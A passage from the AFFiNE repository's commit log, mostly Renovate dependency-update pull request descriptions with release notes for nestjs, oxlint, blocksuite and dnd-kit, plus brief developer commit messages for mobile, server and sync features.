-   chore(deps): update typescript-eslint monorepo to v8.15.0 ([#&#8203;1814](https://redirect.github.com/nestjs/schedule/issues/1814)) ([`da02653`](https://redirect.github.com/nestjs/schedule/commit/da02653))
-   chore(deps): update dependency husky to v9.1.7 ([#&#8203;1813](https://redirect.github.com/nestjs/schedule/issues/1813)) ([`19fb64a`](https://redirect.github.com/nestjs/schedule/commit/19fb64a))
-   chore(deps): update dependency eslint to v9.15.0 ([#&#8203;1812](https://redirect.github.com/nestjs/schedule/issues/1812)) ([`e004d24`](https://redirect.github.com/nestjs/schedule/commit/e004d24))
-   chore(deps): update nest monorepo to v10.4.8 ([#&#8203;1811](https://redirect.github.com/nestjs/schedule/issues/1811)) ([`142ab3a`](https://redirect.github.com/nestjs/schedule/commit/142ab3a))
-   chore(deps): update typescript-eslint monorepo to v8.14.0 ([#&#8203;1809](https://redirect.github.com/nestjs/schedule/issues/1809)) ([`c20f9cd`](https://redirect.github.com/nestjs/schedule/commit/c20f9cd))
-   fix(deps): update dependency uuid to v11.0.3 ([`680c6f9`](https://redirect.github.com/nestjs/schedule/commit/680c6f9))
-   chore(deps): update nest monorepo to v10.4.7 ([`9379999`](https://redirect.github.com/nestjs/schedule/commit/9379999))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.9.0 ([`c2153c9`](https://redirect.github.com/nestjs/schedule/commit/c2153c9))
-   chore(deps): update typescript-eslint monorepo to v8.13.0 ([`a72d7fe`](https://redirect.github.com/nestjs/schedule/commit/a72d7fe))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.7 ([`9e20d7a`](https://redirect.github.com/nestjs/schedule/commit/9e20d7a))
-   chore(deps): update dependency eslint to v9.14.0 ([`dfd85ce`](https://redirect.github.com/nestjs/schedule/commit/dfd85ce))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.6 ([`48663de`](https://redirect.github.com/nestjs/schedule/commit/48663de))
-   chore(deps): update typescript-eslint monorepo to v8.12.2 ([`5767123`](https://redirect.github.com/nestjs/schedule/commit/5767123))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.8.5 ([`bdc8318`](https://redirect.github.com/nestjs/schedule/commit/bdc8318))
-   Merge pull request [#&#8203;1795](https://redirect.github.com/nestjs/schedule/issues/1795) from nestjs/renovate/uuid-11.x ([`2898c3f`](https://redirect.github.com/nestjs/schedule/commit/2898c3f))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22 ([`b26a306`](https://redirect.github.com/nestjs/schedule/commit/b26a306))
-   chore(deps): update typescript-eslint monorepo to v8.12.1 ([`38e8a95`](https://redirect.github.com/nestjs/schedule/commit/38e8a95))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.2 ([`a5c2a3d`](https://redirect.github.com/nestjs/schedule/commit/a5c2a3d))
-   fix(deps): update dependency uuid to v11 ([`6020c6d`](https://redirect.github.com/nestjs/schedule/commit/6020c6d))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.1 ([`7210ea3`](https://redirect.github.com/nestjs/schedule/commit/7210ea3))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.0 ([`d3cf55e`](https://redirect.github.com/nestjs/schedule/commit/d3cf55e))
-   chore(deps): update nest monorepo to v10.4.6 ([`ba735f3`](https://redirect.github.com/nestjs/schedule/commit/ba735f3))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.15 ([`8555b83`](https://redirect.github.com/nestjs/schedule/commit/8555b83))
-   chore(deps): update dependency [@&#8203;types/jest](https://redirect.github.com/types/jest) to v29.5.14 ([`e58df86`](https://redirect.github.com/nestjs/schedule/commit/e58df86))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.14 ([`dca988b`](https://redirect.github.com/nestjs/schedule/commit/dca988b))
-   chore(deps): update typescript-eslint monorepo to v8.11.0 ([`9b5f16b`](https://redirect.github.com/nestjs/schedule/commit/9b5f16b))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.13 ([`28400dd`](https://redirect.github.com/nestjs/schedule/commit/28400dd))
-   chore(deps): update dependency eslint to v9.13.0 ([`f0e861f`](https://redirect.github.com/nestjs/schedule/commit/f0e861f))
-   chore(deps): update typescript-eslint monorepo to v8.10.0 ([`9ec30f0`](https://redirect.github.com/nestjs/schedule/commit/9ec30f0))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.12 ([`0ee7571`](https://redirect.github.com/nestjs/schedule/commit/0ee7571))
-   chore(deps): update nest monorepo to v10.4.5 ([`0c2c38a`](https://redirect.github.com/nestjs/schedule/commit/0c2c38a))
-   chore(deps): update dependency release-it to v17.10.0 ([`7d1c2e6`](https://redirect.github.com/nestjs/schedule/commit/7d1c2e6))
-   chore(deps): update typescript-eslint monorepo to v8.9.0 ([`0342a00`](https://redirect.github.com/nestjs/schedule/commit/0342a00))
-   chore(deps): update dependency release-it to v17.9.0 ([`e5cb061`](https://redirect.github.com/nestjs/schedule/commit/e5cb061))
-   chore(deps): update dependency release-it to v17.8.2 ([`3bcbb56`](https://redirect.github.com/nestjs/schedule/commit/3bcbb56))
-   chore(deps): update dependency typescript to v5.6.3 ([`f1f10d8`](https://redirect.github.com/nestjs/schedule/commit/f1f10d8))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.11 ([`cb7656c`](https://redirect.github.com/nestjs/schedule/commit/cb7656c))
-   chore(deps): update typescript-eslint monorepo to v8.8.1 ([`0a775cc`](https://redirect.github.com/nestjs/schedule/commit/0a775cc))
-   chore(deps): update dependency eslint to v9.12.0 ([`dce0ee2`](https://redirect.github.com/nestjs/schedule/commit/dce0ee2))
-   chore(deps): update dependency release-it to v17.7.0 ([`6fc5ba3`](https://redirect.github.com/nestjs/schedule/commit/6fc5ba3))
-   chore(deps): update dependency eslint to v9 ([`e2f3171`](https://redirect.github.com/nestjs/schedule/commit/e2f3171))
-   chore(deps): update dependency eslint-plugin-import to v2.31.0 ([`ed8d3b1`](https://redirect.github.com/nestjs/schedule/commit/ed8d3b1))
-   chore(deps): update typescript-eslint monorepo to v8.8.0 ([`af47ac4`](https://redirect.github.com/nestjs/schedule/commit/af47ac4))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.10 ([`acdc7f7`](https://redirect.github.com/nestjs/schedule/commit/acdc7f7))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.9 ([`e959086`](https://redirect.github.com/nestjs/schedule/commit/e959086))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.8 ([`baaf27b`](https://redirect.github.com/nestjs/schedule/commit/baaf27b))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.7 ([`be359b6`](https://redirect.github.com/nestjs/schedule/commit/be359b6))
-   chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.16.6 ([`cb1e63c`](https://redirect.github.com/nestjs/schedule/commit/cb1e63c))
-   chore(deps): update typescript-eslint monorepo to v8.7.0 ([`c60a479`](https://redirect.github.com/nestjs/schedule/commit/c60a479))
-   chore(deps): update nest monorepo to v10.4.4 ([`3e93023`](https://redirect.github.com/nestjs/schedule/commit/3e93023))
-   chore(deps): update nest monorepo to v10.4.3 ([`0e67a32`](https://redirect.github.com/nestjs/schedule/commit/0e67a32))
-   chore(deps): update typescript-eslint monorepo to v8.6.0 ([`a7a9697`](https://redirect.github.com/nestjs/schedule/commit/a7a9697))
-   chore(deps): update dependency eslint to v8.57.1 ([`2fbf0a4`](https://redirect.github.com/nestjs/schedule/commit/2fbf0a4))
-   chore(deps): update nest monorepo to v10.4.2 ([`d338f16`](https://redirect.github.com/nestjs/schedule/commit/d338f16))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.15`](1d457fe79f...d0fb875e23)

[Compare Source](1d457fe79f...d0fb875e23)

### [`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...1d457fe79f00956ef41a8bdc595d686f980eed40)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-09 11:37:32 +00:00
darkskygit
31146e5213 fix: copilot ci (#9066) 2024-12-09 11:11:04 +00:00
pengx17
814b4c9cb0 fix(core): canDrop check for external (#9058) 2024-12-09 10:25:38 +00:00
DarkSky
9365958a02 feat(server): team quota (#8955) 2024-12-09 18:51:54 +09:00
CatsJuice
8fe188e773 refactor(mobile): determine the currently active tab through a persistent state (#9018)
close AF-1868

Only tap on specific tab can change active tab
2024-12-09 04:07:05 +00:00
pengx17
f073df3ee5 fix(mobile): backlink ordering in doc info (#9015)
fix AF-1885
2024-12-09 03:48:08 +00:00
pengx17
5a6dd29d36 fix(mobile): center peek styles (#9014)
fix AF-1876

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/af1191dd-4549-4c38-8948-2d726946d4fe.png)
2024-12-09 03:48:07 +00:00
pengx17
9ddcdb8e50 test(core): test case for dragging from bs editor to sidebar (#9057)
fix AF-1904
2024-12-09 03:31:05 +00:00
fundon
0bafc35aad feat: linked doc supports aliases (#9009)
Closes: [AF-1882](https://linear.app/affine-design/issue/AF-1882/实现-generatedocurlservice)
Upstreams: https://github.com/toeverything/blocksuite/pull/8806
2024-12-09 03:12:09 +00:00
fundon
efa4a80019 chore: not allowed to open pdf files on mobile (#9041)
Related to [BS-1919](https://linear.app/affine-design/issue/BS-1919/pdf-block-适配).

First remove the expand button on the mobile side.
2024-12-09 02:54:07 +00:00
pengx17
7a1dab134f fix(core): doc db text property editing issue (#9055)
fix AF-1901
2024-12-09 02:37:13 +00:00
EYHN
7225f59138 feat(nbstore): add blob sync (#8996) 2024-12-07 08:05:04 +00:00
EYHN
f54f6e88cb feat(nbstore): new doc sync engine (#8918) 2024-12-07 08:05:02 +00:00
pengx17
fafacdb265 feat(core): dnd support external types (#9033)
fix AF-1847

two issues:
1. original `dropTargetForExternal` only works if dragging target is from another window context. patched the library to bypass this issue
2. `dataTransfer`'s content is only available on `drop` event. This means we cannot have `canDrop` checks for external elements (like blocksuite links).
2024-12-06 21:46:08 +08:00
akumatus
6b14e1cf10 feat(core): after the user clicks ask ai, the input pops up directly (#9039)
Issue [AF-1762](https://linear.app/affine-design/issue/AF-1762).

Ask AI on edgeless mode:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/1218afba-466f-4570-afd4-679b6b09cc8d.mov">录屏2024-12-06 09.54.52.mov</video>

Ask AI on page mode:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/58d19705-f646-4957-8628-15845b47222b.mov">录屏2024-12-06 09.52.51.mov</video>
2024-12-06 12:12:05 +00:00
pengx17
3ef28ed19b fix(core): peek db row should always show the related db row property (#8942)
fix BS-1963
depends on https://github.com/toeverything/blocksuite/pull/8818
2024-12-06 10:02:22 +00:00
renovate
aadc978357 chore: bump up oxlint version to v0.14.1 (#9044)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.14.0` -> `0.14.1`](https://renovatebot.com/diffs/npm/oxlint/0.14.0/0.14.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.14.0/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.14.0/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.14.1`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.14.1): oxlint v0.14.1

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.14.0...oxlint_v0.14.1)

#### \[0.14.1] - 2024-12-06

##### Features

-   [`fd0935c`](https://redirect.github.com/oxc-project/oxc/commit/fd0935c) linter: Change `react/rules-of-hooks` category to `pedantic` ([#&#8203;7691](https://redirect.github.com/oxc-project/oxc/issues/7691)) (Boshen)
-   [`e64fd95`](https://redirect.github.com/oxc-project/oxc/commit/e64fd95) linter: Map `.js` to `.ts` when resolving with tsconfig.json ([#&#8203;7675](https://redirect.github.com/oxc-project/oxc/issues/7675)) (Boshen)
-   [`bd9d38a`](https://redirect.github.com/oxc-project/oxc/commit/bd9d38a) linter: Implement eslint:yoda ([#&#8203;7559](https://redirect.github.com/oxc-project/oxc/issues/7559)) (tbashiyy)
-   [`a14e76a`](https://redirect.github.com/oxc-project/oxc/commit/a14e76a) linter: Report identical logical expressions in const-comparisons ([#&#8203;7630](https://redirect.github.com/oxc-project/oxc/issues/7630)) (camc314)
-   [`afe1e9b`](https://redirect.github.com/oxc-project/oxc/commit/afe1e9b) linter: Enhance `const-comparisons` for more cases ([#&#8203;7628](https://redirect.github.com/oxc-project/oxc/issues/7628)) (camc314)
-   [`4eb87ea`](https://redirect.github.com/oxc-project/oxc/commit/4eb87ea) linter: RulesOfHooks from nursery to correctness ([#&#8203;7607](https://redirect.github.com/oxc-project/oxc/issues/7607)) (Boshen)
-   [`275d625`](https://redirect.github.com/oxc-project/oxc/commit/275d625) linter: Output rules to json array ([#&#8203;7574](https://redirect.github.com/oxc-project/oxc/issues/7574)) (camc314)
-   [`b8dc333`](https://redirect.github.com/oxc-project/oxc/commit/b8dc333) syntax: Add `ExportEntry::is_type` ([#&#8203;7676](https://redirect.github.com/oxc-project/oxc/issues/7676)) (Boshen)

##### Bug Fixes

-   [`9761e94`](https://redirect.github.com/oxc-project/oxc/commit/9761e94) apps/oxlint: Incorrect matching in `.oxlintignore` ([#&#8203;7566](https://redirect.github.com/oxc-project/oxc/issues/7566)) (dalaoshu)
-   [`7cee065`](https://redirect.github.com/oxc-project/oxc/commit/7cee065) linter: Panic in `yoda` ([#&#8203;7679](https://redirect.github.com/oxc-project/oxc/issues/7679)) (camc314)
-   [`6ae178e`](https://redirect.github.com/oxc-project/oxc/commit/6ae178e) linter: Ignore type references in `no-undef` ([#&#8203;7670](https://redirect.github.com/oxc-project/oxc/issues/7670)) (Boshen)
-   [`fcc2546`](https://redirect.github.com/oxc-project/oxc/commit/fcc2546) linter: Move `no-unused-expressions` from TS to eslint ([#&#8203;7624](https://redirect.github.com/oxc-project/oxc/issues/7624)) (camc314)
-   [`29db060`](https://redirect.github.com/oxc-project/oxc/commit/29db060) linter: Detect typescript eslint alias rules ([#&#8203;7622](https://redirect.github.com/oxc-project/oxc/issues/7622)) (Alexander S.)
-   [`e824501`](https://redirect.github.com/oxc-project/oxc/commit/e824501) linter: False positive in exhaustive-deps ([#&#8203;7626](https://redirect.github.com/oxc-project/oxc/issues/7626)) (camc314)
-   [`8a68ef4`](https://redirect.github.com/oxc-project/oxc/commit/8a68ef4) linter: Update reporting spans for exhaustive-deps ([#&#8203;7625](https://redirect.github.com/oxc-project/oxc/issues/7625)) (camc314)
-   [`543df6e`](https://redirect.github.com/oxc-project/oxc/commit/543df6e) linter: Fix false positives in exhaustive-deps ([#&#8203;7615](https://redirect.github.com/oxc-project/oxc/issues/7615)) (camc314)
-   [`e80214c`](https://redirect.github.com/oxc-project/oxc/commit/e80214c) linter: Fix false positives in rules-of-hooks ([#&#8203;7606](https://redirect.github.com/oxc-project/oxc/issues/7606)) (camc314)
-   [`3dc46a8`](https://redirect.github.com/oxc-project/oxc/commit/3dc46a8) linter: No-unused-expressions false positive with arrow fn expressions ([#&#8203;7585](https://redirect.github.com/oxc-project/oxc/issues/7585)) (Cameron)
-   [`810671a`](https://redirect.github.com/oxc-project/oxc/commit/810671a) linter: Detect vitest jest alias rules ([#&#8203;7567](https://redirect.github.com/oxc-project/oxc/issues/7567)) (Alexander S.)
-   [`4e3044e`](https://redirect.github.com/oxc-project/oxc/commit/4e3044e) linter: Rules-of-hooks fix false positive with default export ([#&#8203;7570](https://redirect.github.com/oxc-project/oxc/issues/7570)) (camc314)

##### Documentation

-   [`f029090`](https://redirect.github.com/oxc-project/oxc/commit/f029090) linter: Update rule documentation ([#&#8203;7684](https://redirect.github.com/oxc-project/oxc/issues/7684)) (camc314)
-   [`4e489bd`](https://redirect.github.com/oxc-project/oxc/commit/4e489bd) linter: Update rule documentation ([#&#8203;7681](https://redirect.github.com/oxc-project/oxc/issues/7681)) (camc314)
-   [`56fe5f8`](https://redirect.github.com/oxc-project/oxc/commit/56fe5f8) linter: Update rule documentation ([#&#8203;7680](https://redirect.github.com/oxc-project/oxc/issues/7680)) (Cameron)

##### Refactor

-   [`a0973dc`](https://redirect.github.com/oxc-project/oxc/commit/a0973dc) linter: Use `BigIntLiteral::raw` field ([#&#8203;7660](https://redirect.github.com/oxc-project/oxc/issues/7660)) (overlookmotel)
-   [`3711a8e`](https://redirect.github.com/oxc-project/oxc/commit/3711a8e) linter: Rename `is_same_reference` to `is_same_expression` ([#&#8203;7654](https://redirect.github.com/oxc-project/oxc/issues/7654)) (camc314)
-   [`b445654`](https://redirect.github.com/oxc-project/oxc/commit/b445654) linter: Use `get_inner_expression` in `const-comparisons` ([#&#8203;7627](https://redirect.github.com/oxc-project/oxc/issues/7627)) (camc314)
-   [`f0e7acc`](https://redirect.github.com/oxc-project/oxc/commit/f0e7acc) syntax: Change `ModuleRecord::not_esm` to `has_module_syntax` ([#&#8203;7579](https://redirect.github.com/oxc-project/oxc/issues/7579)) (Boshen)
-   [`18519de`](https://redirect.github.com/oxc-project/oxc/commit/18519de) syntax: Remove `ModuleRecord::export_default` ([#&#8203;7578](https://redirect.github.com/oxc-project/oxc/issues/7578)) (Boshen)
-   [`d476660`](https://redirect.github.com/oxc-project/oxc/commit/d476660) syntax: Remove `ModuleRecord::exported_bindings_duplicated` because it is a syntax error ([#&#8203;7577](https://redirect.github.com/oxc-project/oxc/issues/7577)) (Boshen)
-   [`17663f5`](https://redirect.github.com/oxc-project/oxc/commit/17663f5) syntax: Remove `ModuleRecord::export_default_duplicated` because it is a syntax error ([#&#8203;7576](https://redirect.github.com/oxc-project/oxc/issues/7576)) (Boshen)
-   [`79014ff`](https://redirect.github.com/oxc-project/oxc/commit/79014ff) syntax: Clean up `ModuleRecord` ([#&#8203;7568](https://redirect.github.com/oxc-project/oxc/issues/7568)) (Boshen)

##### Testing

-   [`be9863a`](https://redirect.github.com/oxc-project/oxc/commit/be9863a) linter: Add more tests fo rules-of-hooks ([#&#8203;7683](https://redirect.github.com/oxc-project/oxc/issues/7683)) (camc314)
-   [`6dd71c6`](https://redirect.github.com/oxc-project/oxc/commit/6dd71c6) linter: Port eslint tests to no-unused-expressions ([#&#8203;7611](https://redirect.github.com/oxc-project/oxc/issues/7611)) (camc314)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-06 09:45:17 +00:00
forehalo
1aff9de981 refactor(server): cleanup selfhost module (#9038) 2024-12-06 09:23:22 +00:00
L-Sun
b1c8fca25e refactor(mobile): use bs mobile spec patch (#9046)
Close [BS-2068](https://linear.app/affine-design/issue/BS-2068/移动端-placeholder,去除-space-with-ai)
2024-12-06 09:07:20 +00:00
pengx17
b378af5ade feat(core): at menu ux (#9045)
fix AF-1843
2024-12-06 08:50:13 +00:00
liuyi
d6869ca0e7 fix(server): avoid unknown fields in create query (#9047) 2024-12-06 17:49:52 +09:00
doodlewind
8545644bb6 chore: bump blocksuite (#9049) 2024-12-06 08:33:47 +00:00
CatsJuice
c9e555d077 feat(mobile): open doc info in explorer (#9040) 2024-12-06 07:14:11 +00:00
CatsJuice
dd94fb3450 feat(mobile): add journal conflict block to the top of detail page (#9042) 2024-12-06 06:57:47 +00:00
renovate
e83617a556 chore: bump up @blocksuite/affine version to v0.18.3 (#9019)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.1` -> `0.18.3`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.1/0.18.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.1/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.1/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.3`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0183)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.2...v0.18.3)

##### Patch Changes

-   [`3448094`](https://redirect.github.com/toeverything/blocksuite/commit/3448094): ## Fix

    -   fix(database): storage should be accessed via globalThis ([#&#8203;8863](https://redirect.github.com/toeverything/blocksuite/issues/8863))
    -   fix(edgeless): memory leak in edgeless widgets ([#&#8203;8862](https://redirect.github.com/toeverything/blocksuite/issues/8862))
    -   fix: page switching under starter route ([#&#8203;8860](https://redirect.github.com/toeverything/blocksuite/issues/8860))

### [`v0.18.2`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0182)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.1...v0.18.2)

##### Patch Changes

-   [`f97c4ab`](https://redirect.github.com/toeverything/blocksuite/commit/f97c4ab): bump

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-06 06:11:41 +00:00
CatsJuice
53339e3370 fix(component): toast shouldn't cover whole header (#9032) 2024-12-06 01:56:02 +00:00
forehalo
0a1fa8911f refactor(server): better selfhost deployment (#9036) 2024-12-06 01:37:27 +00:00
EYHN
f96f08dcec fix(core): oauth callback (#9029) 2024-12-06 00:45:32 +00:00
renovate
4c2fe9f9cc chore: bump up dnd-kit monorepo (major) (#9024)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@dnd-kit/modifiers](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/modifiers)) | [`^8.0.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fmodifiers/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fmodifiers/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@dnd-kit/sortable](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/sortable)) | [`^9.0.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fsortable/9.0.0/10.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fsortable/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fsortable/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fsortable/9.0.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fsortable/9.0.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/modifiers)</summary>

### [`v9.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/modifiers/CHANGELOG.md#900)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/modifiers@8.0.0...@dnd-kit/modifiers@9.0.0)

##### Patch Changes

-   Updated dependencies \[[`0c6a28d`](0c6a28d1b3)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).3.0

</details>

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/sortable)</summary>

### [`v10.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/sortable/CHANGELOG.md#1000)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/sortable@9.0.0...@dnd-kit/sortable@10.0.0)

##### Patch Changes

-   Updated dependencies \[[`0c6a28d`](0c6a28d1b3)]:
